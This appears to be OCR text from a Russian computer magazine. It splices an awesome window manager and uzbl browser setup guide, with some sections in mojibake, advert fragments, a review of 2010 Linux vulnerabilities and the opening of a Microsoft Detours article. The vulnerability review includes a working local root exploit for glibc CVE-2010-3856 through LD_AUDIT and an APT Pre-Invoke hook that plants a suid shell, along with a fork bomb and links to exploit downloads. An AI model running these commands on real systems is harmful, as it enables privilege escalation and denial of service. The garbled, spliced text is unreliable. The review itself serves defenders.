3. Через строку запуска, доступную по нажатию <Win+R> (аналог окна 
запуска по <Alt+F2> в других WM, появляется прямо в статус-баре, 
рядом со списком тегов, поддерживает историю и автодополнение).
Переключение между приложениями с одним тегом (то есть рас-
положенными на одном виртуальном рабочем столе) осуществля-
ется с помощью комбинаций <Win+J> (вперед), <Win+K> (назад) и 
<Win+Tab> (между двумя последними).
По умолчанию awesome работает в классическом режиме, позволяя 
таскать окна по экрану и накладывать их друг на друга. Однако все из-
менится после нажатия комбинации <Win+пробел>, которая переведет 
менеджер окон в тайловый режим: все окна окажутся на экране, деля 
его между собой. 
Если окно одно — оно займет весь экран, два окна поделят экран на две 
части по вертикали, три — на три части и так далее. Awesome умеет рас-
полагать окна более чем десятком различных способов, переключаться 
между которыми можно с помощью клика по индикатору раскладки в 
правой стороне статус-бара (левый клик — вперед, правый — назад), 
либо с помощью все той же клавиатурной комбинации <Win+пробел> 
(вперед) или <Win+Shift+пробел> (назад). Очень трудно объяснить 
различия между всеми раскладками, поэтому рекомендую хорошенько 
поэкспериментировать. Добавлю лишь, что наиболее практичными я 
считаю три из них:
1. Плавающие окна. Первая и дефолтовая раскладка. Реализует модель 
обычных перекрывающихся окон, которые можно спокойно таскать по 
экрану с помощью комбинации <Win+левая кнопка мыши>, изменять 
размер с помощью <Alt+правая кнопка мыши> и накладывать друг на 
друга. Идеально подходит для многооконных приложений (таких как 
gimp) и для людей, которые не могут привыкнуть к тайлингу.
2. Первый слева, все остальные справа. Вторая по счету раскладка, 
она очень удобна для открытия множества терминалов (в одном top, в 
другом bash, в третьем — irc-клиент и так далее).
3. Все окна на максимум. Третья с конца раскладка, которая распахи-
вает все открытые окна на полный экран (они как бы наложены друг на 
друга). Очень удобна для запуска больших графических приложений, 
требующих много пространства: браузеры, mail-клиенты, редакторы, 
таблицы и прочие.

Три эмулятора 
терминала в режиме 
тайлинга

Три окна и классический режим их расположения
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В любой момент выбранное окно можно минимизировать с помощью 
клавиатурной комбинации <Win+N>, растянуть на весь экран с помо-
щью <Win+M>, сделать плавающим, нажав <Win+Ctrl+Пробел> или 
закрыть — <Win+Shift+C>. Ширину окон можно изменять с помощью 
<Win+H> (больше) и <Win+L> (меньше).
Этой информации будет вполне достаточно, чтобы приступить к 
использованию awesome, но для того, чтобы почувствовать всю его 
мощь, не обойтись без правильного конфигурационного файла. В 
awesome используется язык сценариев lua, с помощью которого 
происходит как настройка менеджера окон под свои нужды, так и 
его расширение (на lua можно написать плагин практически любой 
сложности и прозрачно интегрировать его в менеджер окон). И хотя lua 
— очень простой язык (он напоминает сильно урезанный JavaScript), 
написанные на нем конфигурационные файлы получаются довольно 
длинными и сильно запутанными. Поэтому я уже подготовил хороший 
конфигурационный файл и выложил его на нашем диске. Ниже мы 
кратко пробежимся по его основным разделам.
В самом начале файла находится ряд директив require, подклю-
чающих дополнительные lua-библиотеки. К ним я добавил строку 
require(«vicious»), ответственную за подключение библиотеки vicious, 
которая реализует интерфейс подключаемых виджетов (в терминоло-
гии awesome виджеты это просто элементы статус-бара, отображаю-
щие какую-либо информацию).
Далее происходит инициализация темы менеджера окон с помощью 
функции beautiful.init. Я поменял стандартную тему на более светлую, 
но ты можешь выбрать другую, просто указав каталог темы в качестве 
аргумента функции (по умолчанию темы awesome лежат в каталоге 
/usr/share/awesome/themes/).
Ниже происходит установка значений стандартных опций, таких как 
дефолтовый эмулятор терминала, редактор, modkey (это клавиша, 
присутствующая во всех клавиатурных комбинациях awesome — по 
умолчанию Win, обозначенная в конфиге как Mod4). Далее идет пе-
речисление доступных раскладок окон, названия стандартных тегов, 
инициализация меню, статус-бара, виджетов, установка стандартных 
клавиатурных комбинаций (кстати, я поменял комбинацию закрытия 
окна на <Ctrl+Q>, она мне кажется более удобной) и индивидуальные 
настройки приложений. В целом журнале не хватит места, чтобы 
описать, как все это работает, поэтому я остановлюсь только на двух 
важных моментах: виджетах и индивидуальных настройках приложе-
ний. В приведенном конфиге статус-бар отображает пять виджетов: 
скорость скачивания/загрузки по сети (для Wi-Fi), нагрузка на процес-
сор, заполненность памяти, уровень заряда батареи и текущий уровень 
громкости (кстати, по нему можно кликать, чтобы уменьшать и увеличи-
вать громкость). Ты можешь удалить или добавить новые виджеты, но 
тебе придется самому разбираться, как это сделать (благо в интернете 
есть немало руководств на русском, посвященных этому вопросу).
Раздел конфига, обозначенный комментарием «-- {{{ Rules», предна-
значен для настройки поведения окон отдельно взятых приложений. 
Его особенно удобно использовать, чтобы сделать окна выбранных 
приложений по умолчанию плавающими. Например, если мы хотим, 
чтобы окно плеера audacious не растягивалось на весь экран, а всегда 
открывалось, как в обычных WM, то мы должны добавить следующий 
блок в этот раздел (сразу за предыдущей подобной записью):

{ rule = { class = "Audacious2" },

properties = { floating = true } },

Имя класса (в данном случае «Audacious2») можно получить, введя в 
терминале команду «xprop | grep WM_CLASS» и кликнув по окну 
нужного приложения.
С менеджером окон все. Теперь необходимо настроить автозапуск 
приложений (нам нужно запускать хотя бы клиент wicd), переклю-
чение раскладки клавиатуры (отказавшись от DE, мы потеряли эту 
возможность) и автомонтирование сменных накопителей (еще одна 
вкусность DE).
Первая задача самая простая. Все, что требуется сделать для ее 

решения, это просто прописать нужные команды в файл ~/.xsession, 
добавив в их конец знак '&'. Таким же образом решается и задача 
настройки переключения клавиатуры, а сам ~/.xsession в оконча-
тельном виде приобретает следующий вид:

$ vi ~/.xsession

# Wicd áóäåò âèñåòü â òðåå

wicd-client &

# Ðàñêëàäêà ÐÓÑ-ÀÍÃË ñ âêëþ÷åíèåì ïî CAPSLOCK

# è èíäèêàöèåé ñ ïîìîùüþ ñâåòîäèîäà íà êëàâèàòóðå

setxkbmap "us,ru" ",winkeys" "grp:caps_toggle" &

# Çàïóñê WM

exec awesome

Автомонтирование флешек проще всего реализовать с помощью 
демона halevt, который работает абсолютно прозрачно для пользо-
вателя и не требует настройки. Достаточно установить одноименный 
пакет в систему и добавить запуск демона в тот же .xsession (строка 
«pgrep halevt >> /dev/null || halevt &» прямо перед «exec awesome») и 
убрать его из автозапуска на системном уровне:

$ sudo rm /etc/rc{2,3,4,5}.d/S20halevt

Флешки будут монтироваться с флагом sync, поэтому перед извле-
чением их не нужно размонтировать. Найти содержимое можно в 
каталоге /media/метка-фс (или /media/disk, если ФС не имеет метки).

Браузер
Рабочий стол без браузера практически бесполезен, поэтому самое 
время подумать о том, как мы собираемся открывать веб-сайты.
В UNIX существует огромное количество всевозможных браузеров, 
начиная от минималистичных текстовых и заканчивая огромными 
тяжелыми комбайнами с множеством зависимостей. Однако среди них 
есть только один браузер, идеально вписывающийся в наше графи-
ческое окружение. Браузер uzbl (от английского слова usable — удоб-
ный) появился как идея создать веб-обозреватель, неуклонно следуя 
традициям UNIX, поэтому то, что получилось в результате, выглядит 
очень непохожим на все остальные браузеры. Во-первых, uzbl состоит 
из нескольких независимых программ, каждая из которых выполняет 
только одну функцию: uzbl-core отвечает за загрузку и рендеринг стра-
ниц (в его недрах движок WebKit), uzbl-cookie-daemon сохраняет и от-
дает cookie, uzbl-browser создает графический интерфейс, uzbl-tabbed 
добавляет к интерфейсу табы. Все остальные компоненты реализованы 
в виде подключаемых скриптов. Интерфейс браузера очень скромный 
и кроме статус-бара не содержит ни кнопок, ни адресной строки. Все 
управление происходит либо через минимальное меню, доступное по 
нажатию правой кнопки мыши, либо с помощью специальной системы 
команд и закрепленных за ними быстрых клавиш. Во многом команды 
и быстрые клавиши похожи на свои аналоги в редакторе Vim, поэтому 
те, кто предпочитают этот текстовый редактор, быстро освоятся в uzbl. 
Для остальных поясню: большинство действий в uzbl совершается 

Так выглядит awesome по умолчанию
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с помощью одинарных нажатий на клавишу. Например, клавиша <r> 
перезагружает страницу, а <o> — открывает новую. Они существенно 
удобнее стандартных клавиатурных комбинаций с задействованием 
клавиши <Ctrl>, но накладывают свой отпечаток на стиль работы с брау-
зером: каждый раз, когда придется использовать формы веб-страницы 
для ввода каких-либо данных, придется нажимать клавишу <i>, которая 
переведет браузер в так называемый «режим ввода», при этом все горя-
чие клавиши отключаются, и клавиатура начинает работать в обычном 
режиме. Выход из режима ввода осуществляется нажатием <Esc>.
Браузер имеет довольно большое количество команд, поэтому их 
придется заучить. Наиболее используемые команды относятся к 
навигации и работе с текущей страницей:

uzbl: навигация по странице

h j k l — ïåðåìåùåíèå ñòðàíèöû (âëåâî, âíèç, ââåðõ, 

âïðàâî)

<< — ïåðåéòè ê êîíöó ñòðàíèöû

>> — ïåðåéòè ê íà÷àëó ñòðàíèöû

+ — èçìåíåíèå ìàñøòàáà

1 2 — èçìåíåíèå ìàñøòàáà ìåæäó ñòàíäàðòíûì è áîëüøèì

/ ? — ïîèñê (âïåðåä, íàçàä)

n N — ïåðåõîä ìåæäó ðåçóëüòàòàìè ïîèñêà (âïåðåä, íàçàä)

S — îñòàíîâèòü çàãðóçêó ñòðàíèöû

r — ïåðåçàãðóçèòü ñòðàíèöó

На втором месте находятся команды, предназначенные для навига-
ции по сайтам:

uzbl: навигация по сайтам

o — îòêðûòü íîâóþ ñòðàíèöó (ïîñëå íàæàòèÿ íåîáõîäèìî 

ââåñòè URL)

O — îòêðûòü íîâóþ ñòðàíèöó, îòðåäàêòèðîâàâ àäðåñ òåêó-

ùåé

p — ïåðåéòè íà ñòðàíèöó, àäðåñ êîòîðîé íàõîäèòñÿ â áóôå-

ðå îáìåíà

gg — ââåñòè ïîèñêîâûé çàïðîñ google

b — ïåðåéòè ê ïðåäûäóùåé ñòðàíèöå

n — ïåðåéòè ê ñëåäóþùåé ñòðàíèöå

Особое место занимают команды для перехода между табами (они 
работают только в uzbl-tabbed):

uzbl: переход между табами

gn — ñîçäàòü íîâóþ âêëàäêó

go — ñîçäàòü íîâóþ âêëàäêó è ââåñòè àäðåñ ñàéòà

gC — çàêðûòü òåêóùóþ âêëàäêó

g< — ïåðåéòè ê ïåðâîé âêëàäêå

g> — ïåðåéòè ê ïîñëåäíåé âêëàäêå

gt — ê ñëåäóþùåé âêëàäêå

gT — ê ïðåäûäóùåé âêëàäêå

gi — ê óêàçàííîé âêëàäêå

Кроме всего перечисленного, uzbl имеет довольно интересную систе-
му закладок, навигация по которой осуществляется с помощью меток. 
Ты просто нажимаешь <Ctrl+b>, вводишь метку, и текущая страница 
сохраняется в закладках. Вновь открыть ее можно, нажав <u>, введя 
имя метки и выбрав страницу с помощью клавиши <Tab> (эта функ-
циональность реализована с помощью dmenu, который содержится 
в пакете suckless-tools). Клавиша <U> позволяет таким же образом 
загрузить страницу из истории. Для выхода из браузера используется 
двойное нажатие клавиши <Z>.
Настройки браузера хранятся в файле .config/uzbl/config, исправлен-
ный вариант которого есть на диске (кстати, я убрал все настройки, 
связанные с табами, так как awesome сам предоставляет такую функ-
циональность). Он прост в понимании и достаточно хорошо докумен-
тирован, поэтому разобраться будет нетрудно.

Что дальше?
Теперь у нас есть базовое окружение рабочего стола, который, тем 
не менее, еще нельзя использовать каждодневно. Для нормального 
существования понадобится ворох приложений. Опытным путем было 
выяснено, что с рабочим столом лучше всего сочетается следующее ПО:
• rox-filer — минималистичный, но очень удобный графический 
файловый менеджер (в качестве альтернативы можно использовать 
чуть более тяжелый Thunar из XFCE);
• (g)vim — редактор-легенда, выбор всех гиков (да, есть еще emacs);
• abiword — редактор офисных документов (хотя можно использо-
вать docs.google.com);
• zathura — минималистичный ридер PDF-документов с управлени-
ем в стиле vim (в качестве более простой в понимании альтернативы 
можно задействовать evince);
• mplayer — видеопроигрыватель, не имеет графического интер-
фейса, поэтому очень удобен (к тому же показывает все, что только 
подсунут);
• audacious2 — аудиоплеер с простым и удобным интерфейсом (в 
моем конфиге awesome уже есть настройка для него, поэтому будет 
открываться в небольшом окне посередине экрана);
• mutt — невероятно удобный консольный mail-клиент (требует 
много времени для привыкания и конфигурирования, поэтому может 
быть заменен на gmail);
• mcabber — лучший консольный jabber-клиент (как вариант, можно 
использовать более дружелюбный tkabber);
• feh — минималистичный и очень быстрый просмотрщик изображе-
ний;
• scrot — консольная утилита для снятия скриншотов;
• burn — простая и очень удобная резалка дисков, работающая в ре-
жиме командной строки (в качестве легкой графической альтернативы 
сгодится xfburn из XFCE). z 

Браузер uzbl хоть и простой, но тест Acid3 
почти прошел

Так выглядят виджеты awesome
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Процессор
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ся еще и со встроенным контроллером памяти.
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За игровые возможности отвечают две видеокарты GeForce GTX 460, 
основанные на новейшей вычислительной архитектуре «Fermi». 
Благодаря высокой производительности в режиме DirectX 11 тес-
селяции процессор GTX 460 обеспечивает идеально четкую гра-
фику без ущерба для скорости, а поддержка технологий NVIDIA 3D 
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потрясающие эффекты, на которые способны компьютерные игры. 
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Компьютер WEXLER.HOME 903 укомплектован оперативной памятью 
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Софт
На всех компьютерах WEXLER.HOME 903 предустановлена операци-
онная система Windows® 7 Домашняя расширенная. Использование 
именно 64-битной версии не случайно: благодаря этому удается 
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ОС, дополнительно установлен бесплатный антивирус Microsoft® 
Security Essentials и Office 2010 Starter (включает в себя ограничен-
ный функционал Word® и Excel®, для активации полнофункциональ-
ной версии необходимо приобрести ключ продукта).
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Kernel
Ядро — самая важная и, пожалуй, самая 
сложная часть ОС (если это, конечно, не 
микроядро). Linux содержит более тринадцати 
миллионов строк кода. Поэтому не удивитель-
но, что периодически в нем обнаруживают 
уязвимости. Так, например, в октябре про-

шлого года в коде, отвечающем за поддержку 
протокола RDS (Reliable Datagram Sockets), 
была обнаружена уязвимость, позволяющая 
повысить свои привилегии в системе до root 
(CVE-2010-3904). RDS предназначен для 
высокоскоростного обмена данными между 
узлами (прежде всего, в кластере) и нацелен 

на использование шины InfiniBand. Он был 
создан в недрах корпорации Oracle и широко 
используется, пожалуй, только в ее продуктах. 
Таким образом, штука эта весьма и весьма 
узкоспециализированная. Однако этой уяз-
вимости оказались подвержены большинс-
тво дистрибутивов, так как в них поддержка 

Îáçîð ñàìûõ îïàñíûõ è èíòåðåñíûõ óÿçâèìîñòåé 
â GNU/Linux çà ïîñëåäíåå âðåìÿ

    Юрий  «Adept» Видинеев  adeptg@gmail.com

  Ñåãîäíÿ ìû ïðåäñòàâèì òâîåìó âíèìàíèþ ñàìûå îïàñíûå 
óÿçâèìîñòè â GNU/Linux çà ïîñëåäíåå âðåìÿ è ïîêàæåì, ÷òî áåç 
äîïîëíèòåëüíûõ ñðåäñòâ çàùèòû è ðåãóëÿðíûõ îáíîâëåíèé îí òîæå 
î÷åíü óÿçâèì. 
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RDS была вкомпилирована модулем (CONFIG_RDS=m). 
Уязвимость подтвердили для всех ядер с поддержкой RDS: 
с 2.6.30 по 2.6.35.
Обнаружив уязвимость, Дэн Розенберг из Virtual Security 
Research сначала сообщил о ней разработчикам ядра, и 
только после того, как они выпустили фикс (15 октября 2010), 
Дэн обнародовал данные об уязвимости (19 октября) и опуб-
ликовал эксплоит, который можно взять здесь: www.vsecurity.
com/download/tools/linux-rds-exploit.c. Работу эксплоита ты 
можешь наблюдать на иллюстрации к статье. Быстрее всех 
обновление вышло к Ubuntu (9.10, 10.04 и 10.10) — 19 октября. 
RedHat выпустил обновления к своим продуктам только 25 
октября (обновление долго тестировалось). Debian Lenny с 
относительно стареньким 2.6.26 не был подвержен уязви-
мости ввиду отсутствия поддержки RDS. Пока брешь не была 
закрыта, производители предлагали заблокировать загрузку 
модуля rds (если протокол не используется):

# echo "blacklist rds" > \

 /etc/modprobe.d/blacklist-rds.conf

Следующая интересная уязвимость в ядре любопытна 
не столько сама по себе, сколько благодаря истории, 
развернувшейся вокруг нее. В 2007 году известный ис-
следователь безопасности Бен Хоукс обнаружил опасную 
транзакцию 32-битных вызовов в 64-битных ядрах. Эта 
уязвимость позволяла повысить свои привилегии в сис-
теме до root. Ben сообщил об этом разработчикам, и они 
исправили ошибку. Каково же было его удивление, когда 
в 2010 году он обнаружил уязвимость на том же месте, как 
ни в чем не бывало. Оказалось, что в 2008 году из-за его 
первоначального патча была обнаружена регрессия, и код 
был исправлен таким образом, что уязвимость появилась 
вновь. Таким образом, все ядра, вышедшие в 2008-2010, 
оказались уязвимы. Но это еще не конец истории. Бен 
Хоукс выложил PoC, демонстрирующий, что уязвимость 
существует: sota.gen.nz/compat2/robert_you_suck.c. Через 
некоторое время в общем доступе на seclists.org появил-
ся уже не PoC, а вполне себе работающий эксплоит от 
Ac1db1tch3z: seclists.org/fulldisclosure/2010/Sep/att-268/
ABftw_c.bin. PoC Бена содержал менее двухсот строк кода 
и был легко читаем, эксплоит же от Ac1db1tch3z был раз-
мером больше тысячи строк и практически нечитабелен. 
И, как оказалось, не зря. Ребята из Ksplice обнаружили, 
что этот эксплоит является одновременно бэкдором, 

позволяющим удаленно получить права суперпользова-
теля на данном компьютере. По одним данным, бэкдор 
накрепко поселялся в системе, по другим — для лечения 
достаточно перезагрузки. Наглядная демонстрация того, 
что не стоит запускать подобные вещи. В крайнем случае 
— на виртуальной машине… отдельного тестового компа.
Следующая уязвимость в ядре (CVE-2010-2240) примеча-
тельна своей «живучестью» и широким спектром уязви-
мых версий: она была известна минимум шесть лет, но не 
была исправлена по нелепой случайности. Затрагивает, 
скорее всего, все ядра ветки 2.6 (а возможно, и 2.4). Уяз-
вимость сидит в одной из самых важных подсистем ядра, 
отвечающей за управление памятью: оказывается, ядро 
допускало пересекающиеся границы для двух разных об-
ластей виртуальной памяти. Таким образом, при соблюде-
нии определенных условий можно было добиться выпол-
нения произвольного кода. Проще всего для эксплуатации 
уязвимости было использовать X-сервер (с расширением 
MIT-SHM) и любое графическое приложение (необяза-
тельно специально написанное, теоретически подойдет, 
например, дырявый браузер или PDF-ридер). Подробную 
инфу по эксплуатации уязвимости через X-сервер можно 
почерпнуть в документе xorg-large-memory-attacks.pdf на 
сайте www.invisiblethingslab.com.
Защитить от эксплуатации данной уязвимости не спо-
собны ни SELinux, ни chroot. Как временное решение по 
защите от атаки именно на X-сервер было предложено 
отключить MIT-SHM, добавив в xorg.conf:

$ cat /etc/X11/xorg.conf

Section "Extensions"

    Option "MIT-SHM" "disable"

EndSection

Для устранения данной уязвимости срочно были выпущены 
обновления ядер 2.6.32.19, 2.6.34.4 и 2.6.35.2. Примечатель-
но, что еще в 2004 году разработчики из SUSE предложили 
свой патч, но по каким-то причинам он не был включен в 
ванильное ядро. SLED и openSUSE данной уязвимости не 
имеют. К сожалению, не все уязвимости удается пофиксить 
полностью и достаточно оперативно. Яркий тому при-
мер — совсем свежая уязвимость в ядре, позволяющая от 
локального непривилегированного пользователя осущес-
твить DoS-атаку. Код для проверки «подвержена ли твоя 
система данной уязвимости» можно взять тут: lkml.org/
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info
suid-бит — атрибут 
исполняемого 
файла, позволяющий 
запустить его с 
правами владельца.

INFO

• grsecurity.net 
— офсайт патча 
grsecurity;
• www.gentoo.
org/proj/en/hard-
ened/ — Gentoo 
для параноиков, с 
интегрированным 
grsecurity и другими 
патчами;
• www.openwall.
com/Owl/ — еще 
один дистрибутив, 
помешанный на 
безопасности.

links

HTTP://WWW
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lkml/2010/11/25/8. На некоторых конфигурациях выполнение этого кода 
приводит к 100% загрузке всех ядер процессора, исчерпанию файловых 
дескрипторов и зависанию. На других — процесс просто сильно загру-
жает систему. Обнаружить какую-нибудь закономерность в версии ядра, 
разрядности и так далее пока не удалось. Причем, если слегка модифи-
цировать данный код, то он вполне способен повесить и некоторых пред-
ставителей BSD-семейства, например FreeBSD 8.1 или OpenBSD 4.8.
В отличие от той же банальной форк-бомбы (например, классической 
«:(){ :|:& };:»), данный код имеет следующие особенности:
• Невозможность выставить какие-нибудь ограничения через ulimit 
(основной способ защиты от форк-бомб);
• Процесс нельзя убить. Даже от root. Даже через «kill -KILL». Поможет 
только перезагрузка.
На момент написания статьи еще не существует патча, устраняющего 
данную проблему на всех конфигурациях. Есть только частично устра-
няющие проблему.

System
Не менее опасными могут быть и «неядерные» уязвимости, обнаружен-
ные в каком-нибудь широко распространенном системном компоненте 
дистрибутива. Взять, например, уязвимость в ldd. Она не очень опасна, 
но зато достаточно интересна. Уязвимость позволяет, используя специ-
ально созданный бинарник, выполнить свой код вместо вывода списка 
динамических библиотек. Обычный вывод ldd выглядит примерно так:

# ldd /bin/ping

linux-vdso.so.1 =>  (0x00007fff69b7e000)

libc.so.6 => /lib/libc.so.6 (0x00007fd0cce9f000)

/lib64/ld-linux-x86-64.so.2 (0x00007fd0cd243000)

На самом деле, ldd — это просто bash-скрипт, который устанавливает 
переменную окружения LD_TRACE_LOADED_OBJECTS=1, а затем 
выполняет программу. Загрузчик динамических библиотек ld-linux.so, 
в свою очередь, проверяет значение этой переменной. Если пере-
менная установлена, то выводится список динамических библиотек, 
а программа не выполняется. Другими словами, вместо запуска ldd 
можно использовать такую конструкцию:

# LD_TRACE_LOADED_OBJECTS=1 /bin/ping

linux-vdso.so.1 =>  (0x00007fff232da000)

libc.so.6 => /lib/libc.so.6 (0x00007f1bf7363000)

/lib64/ld-linux-x86-64.so.2 (0x00007f1bf76e6000)

Однако недавно Петерис Круминс обнаружил, что если программу 
собрать с помощью слегка модифицированной версии libc, то можно за-
ставить ld-linux.so не проводить проверку, а сразу исполнять код. То есть, 
если кто-нибудь выполнит «ldd exploit», это приведет к выполнению 
бинарника exploit. «Польза» от такой уязвимости весьма сомнительна, 
но Петерис описывает один из сценариев ее использования: пользова-
тель хостинга жалуется администратору, что его программа не работает. 
Администратор первым делом выполняет «ldd exploit» (с правами root, 

разумеется). Программа выполняется, кроме полезных действий имити-
руя нормальный вывод ldd, где сообщается, что не хватает какой-нибудь 
библиотеки. Администратор уведомляет об этом пользователя, и все 
остаются довольны: администратор оттого, что избавился от очередного 
глупого юзера, а пользователь — оттого, что порутал сервер.
Прошедший год был также богат на уязвимости в glibc, гораздо 
более серьезные, чем в ldd. Одна из уязвимостей (CVE-2010-3847) 
позволяет локальному пользователю получить права root. Проблема 
вызвана тем, что glibc игнорирует некоторые пункты спецификации 
ELF. Для реализации этой уязвимости необходимо и достаточно 
наличие прав на создание жестких ссылок в файловой системе, до-
пускающей наличие suid-файлов, и, собственно, какой-нибудь suid-
бинарник. Бинарник и каталог с доступом на запись должны быть на 
одном разделе (так как создание жестких ссылок возможно только в 
пределах одного раздела). Примечательно, что разработчики glibc 
об уязвимости знали, но не считали, что ее возможно эксплуатиро-
вать. Уязвимость затронула Fedora (вместе с RHEL/CentOS), а также 
некоторые другие дистрибутивы. Debian и Ubuntu не были задеты 
по чистой случайности — из-за немного других опций сборки eglibc. 
До выхода обновления защититься от этой уязвимости можно очень 
просто — достаточно, чтобы все директории, доступные пользовате-
лям на запись (например, /home и /tmp), были смонтированы с опци-
ей nosuid. Но не успели в glibc как следует залатать эту уязвимость, 
как обнаружили другую: CVE-2010-3856. Уязвимости имеют общие 
корни, и эта тоже позволяет поднять свои привилегии в системе, но 
не требует для эксплуатации прав на создание жестких ссылок. Свя-
зана новая уязвимость с недостаточными проверками при динами-
ческом связывании (в режиме LD_AUDIT) библиотек с бинарниками 
с установленным suid-битом. Для реализации необходима библи-
отека, не учитывающая наличие suid-файла, и, собственно, любой 
suid-бинарник, например:

$ ls -l /bin/ping

-rwsr-xr-x 1 root root 34716 2010-07-28 14:44 /bin/ping

В качестве библиотеки будем использовать стандартную библиотеку 
профилирования libpcprofile. В Debian/Ubuntu она входит в стан-
дартный пакет libc, в RHEL/Fedora — в пакет libc-utils. Использовать 
именно эту библиотеку не обязательно — можно любую, не проверяю-
щую различие EUID и UID.

$ ls -l /lib/libpcprofile.so

-rw-r--r-- 1 root root 5496 2010-09-11 00:32 /lib/

libpcprofile.so

Опции конфигурирования grsecurity

App Vuln.

Google Chrome 76

Safari 60

Microsoft Office 57

Adobe Acrobat 54

Mozilla Firefox 51

Sun/Oracle JDK 36

Adobe Shockware Player 35

Microsoft Internet Explorer 32

RealNetworks RealPlayer 14

Apple Webkit 9

Adobe Flesh Player 8

Apple QuickTime 6

Opera 6

Список самых уязвимых приложений 2010 по версии 
Bit9
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Для начала выставим нужную umask, чтобы файлы создавались с 
правами 666: umask 0. Собственно, эксплуатируем уязвимость:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/

apt/apt.conf.d/666exploit" /bin/ping

По идее, у непривилегированного пользователя нет прав на запись в 
каталог /etc/apt/apt.conf.d, однако:

$ ls -l /etc/apt/apt.conf.d/666exploit

-rw-rw-rw- 1 root adept 4 2010-12-04 01:03 /etc/apt/apt.

conf.d/666exploit

Такой вот нехитрой манипуляцией мы получили файл /etc/apt/apt.
conf.d/666exploit с возможностью в него писать. С помощью данной 
уязвимости можно только создать новый файл, перезаписать уже 
существующий не получится. Почему я записал именно в apt.conf.d? 
Да, логичнее было бы создать файлик с собственным заданием cron, 
но стандартный для большинства дистрибутивов vixie-cron выполняет 
правила только в файлах с правами 644, иначе ругается на «BAD FILE 
MODE». В rc-скрипты тоже писать бесполезно, так как нужно право на 
выполнение, а сделать его через данную уязвимость невозможно. В 
общем, файл создан, можно в него что-нибудь написать, например:

$ echo "APT::Update::Pre-Invoke { \"cp /bin/bash /tmp/

exploit && chmod u+s /tmp/exploit\"; };" > /etc/apt/apt.

conf.d/666exploit

Теперь при каждом выполнении «apt-get update» будет создаваться 
файлик /tmp/exploit. Если настроены автообновления — вообще хоро-
шо, ждать долго не придется. Когда это событие, наконец, произошло:

$ /tmp/exploit –p

exploit-4.1# whoami

root

в RedHat проанализировали последние уязвимости (в том числе и в 
glibc), поразмыслили и решили, что suid-бит вообще — это зло. Поэ-
тому во всех следующих своих продуктах от использования suid-бита 
постараются отойти, используя вместо него специальный механизм 
ядра — capabilities. Первые результаты такой политики должны быть 
видны уже в Fedora 15.

Что же делать?
Сложного ПО без ошибок просто не существует, поэтому придется 
смириться с тем фактом, что уязвимости будут обнаруживаться пос-
тоянно. Но можно постараться максимально себя от них обезопасить. 
Для этого нужно, во-первых, избавиться от всего ненужного в ОС, 
оставив только минимальный набор. Начать можно с анализа списка 
работающих сервисов: например, от использования avahi-daemon 
многие могут отказаться. В нужных сервисах, в свою очередь, 
оставить только самый необходимый список функций. Например, 
отключить поддержку IPv6 там, где она не нужна (код поддержки IPv6 
во всех сервисах относительно новый и еще недостаточно протес-

тирован). Также неплохая идея пересобрать ядро только с нужными 
опциями (драйверами, протоколами, etc).
Во-вторых, нужно оперативно получать информацию о новых 
уязвимостях в используемом ПО: здесь отлично подойдут mail-
листы используемого дистрибутива, RSS с багтраков (например, с 
securityfocus.com) и так далее.
В-третьих, получать обновления безопасности тоже хочется макси-
мально быстро. Стоит рассмотреть возможность автоматической ус-
тановки обновлений безопасности (на некритичном сервере, думаю, 
это оправданно, а вот на highload production-сервере я бы не рискнул). 
В Debian (и его производных) автоматическая установка обновлений 
безопасности настраивается с помощью пакета unattended-upgrades. 
В Fedora/CentOS — с помощью yum-updatesd или yum-cron.
И, наконец, надо постараться максимально увеличить защиту своей ОС. 
Тут все сильно зависит от области применения, но в большинстве случа-
ев не помешает установка/настройка SELinux или AppArmor — они хоть 
и неэффективны при эксплуатации дыр в ядре или низкоуровневых 
системных компонентах, но достаточно полезны при компрометации 
какого-нибудь демона или пользовательского приложения. Повысить 
безопасность ядра и его «окружения» тоже можно: например, с помо-
щью специальных патчей, самый известный из которых — grsecurity. 
Основной компонент grsecurity — PaX, специальный патч, ограничи-
вающий доступ приложений к страницам памяти: сегмент данных про-
грамм в памяти помечается как недоступный для исполнения, а сегмент 
кода — как readonly. В придачу используется рандомизация памяти — 
при каждом запросе память выделяется из произвольных мест. Кроме 
PaX, grsecurity может предложить следующие основные дополнения:
• ролевой контроль доступа (RBAC);
• улучшение безопасности chroot путем наложения дополнительных 
ограничений — например, невозможность просмотреть процессы, 
запущенные извне chroot;
• опция, запрещающая непривилегированным пользователям 
запускать бинарники, не принадлежащие пользователю root или 
доступные на запись для всех;
• запрет на чтение некоторых файлов в /proc и запрет на выполнение 
dmesg и netstat от обычного пользователя;
• ограничение использования ссылок: запрет на создание жесткой 
ссылки на файл и на использование симлинка, если пользователь не 
является владельцем файла.
Недавно разработчики ванильного ядра тоже всерьез задумались о 
безопасности. Пока предлагается реализовать следующие механизмы:
• внедрить PaX (или его часть);
• реализовать защитный механизм, запрещающий выполнение кода 
и операций записи для определенных частей модулей;
• ограничение доступа к элементам из /proc, позволяющим получить 
важную для атаки информацию (возможно, часть кода будет взята из 
grsecurity);
• контроль автозагрузки модулей;
• специальная метка, помечающая процесс как только 32- или 
64-битный.
И многое другое. Весь список можно посмотреть в разделе 
«Roadmap  KernelHardening» на сайте https://wiki.ubuntu.com. 
Надеюсь, хотя бы часть из этого списка мы скоро сможем увидеть в 
ванильном ядре. z 

Количество модулей в стандартном ядре Ubuntu
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WTF?
Microsoft Detours — проект, разрабатываемый в лабораториях 
Microsoft Research (хотя, судя по дате последнего обновления — 
уже не разрабатываемый), позволяющий перехватывать Win32 
API-вызовы. 64 бита он тоже умеет, но.. за 10 килобаксов :). Да, 
коммерческая (и 64-битная) версия стоит именно столько, а вот 
для образовательных (хе-хе, конечно, конечно) целей он абсолютно 
бесплатен. Несмотря на то, что проект давненько не обновлялся, он 
содержит весь необходимый для перехвата вызовов функционал, и 
работает безглючно (по крайней мере, я каких-либо багов не заме-
тил).
Скачать инсталлятор Detours можно на research.microsoft.com. 
По умолчанию он установится в Program Files\Microsoft Research. 
Если ты считаешь, что на этом установка окончена, ты глубоко 
заблуждаешься. Сначала нужно собрать бинарники самой библио-
теки и примеры к ней — для этого в консоли VC++ надо выполнить 
make, и подождать, пока все это добро соберется. А вот ху[Артем, 
не используй это слово, у нас же приличный журнал — прим. 
ред.]. Как бы не так! Мелкомягкий компилятор, датируемый 2008-м 
годом, наотрез отказался его собирать. Поковырявшись само-
стоятельно, я решил погуглить. Оказалось, что Microsoft в курсе 
